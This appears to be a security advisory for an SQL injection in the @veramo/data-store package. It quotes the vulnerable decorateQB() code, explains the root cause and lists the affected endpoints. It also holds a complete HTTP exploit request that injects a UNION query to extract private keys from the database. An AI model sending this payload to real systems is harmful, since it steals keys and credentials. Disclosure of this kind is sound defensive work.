An SQL injection vulnerability exists in the @veramo/data-store package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the column parameter in the order array of query requests.
packages/data-store/src/data-store-orm.ts (lines 416-434)
The vulnerability exists in the decorateQB() function which processes query ordering parameters:
function decorateQB(
qb: SelectQueryBuilder<any>,
tableName: string,
input: FindArgs<any>,
): SelectQueryBuilder<any> {
if (input?.skip) qb = qb.offset(input.skip)
if (input?.take) qb = qb.limit(input.take)
if (input?.order) {
for (const item of input.order) {
qb = qb.addSelect(
qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),
item.column,
)
qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
}
}
return qb
}
Root Cause:
item.column value from user input is passed directly as the alias parameter to addSelect() without any sanitization or validationTCredentialColumns = 'context' | 'type' | ...), this is only compile-time checkingFindArgs<any>, allowing arbitrary strings to bypass type restrictionsAffected Endpoints:
All endpoints are located in packages/data-store/src/data-store-orm.ts:
| Endpoint | Method | Line |
|---|---|---|
dataStoreORMGetIdentifiers |
identifiersQuery() | 85-98 |
dataStoreORMGetMessages |
messagesQuery() | 129-153 |
dataStoreORMGetVerifiableCredentialsByClaims |
claimsQuery() | 168-198 |
dataStoreORMGetVerifiableCredentials |
credentialsQuery() | 227-252 |
dataStoreORMGetVerifiablePresentations |
presentationsQuery() | 275-297 |
All these methods call decorateQB() which processes the vulnerable order parameter.
Prerequisites:
@veramo/remote-server)@veramo/data-store with a SQLite or compatible databaseExample Exploit to Extract Private Keys From DB:
POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json
{ "where":[
{
"value": [
"string"
],
"not": true,
"op": "foo",
"column":"bar"
}
],
"skip": 0,
"take": 11111232323230,
"order": [
{
"direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\" LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\" LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -"
}
]
}
similar exploit could be used against the other affected endpoints
Attack capabilities:
{
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T21:04:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
}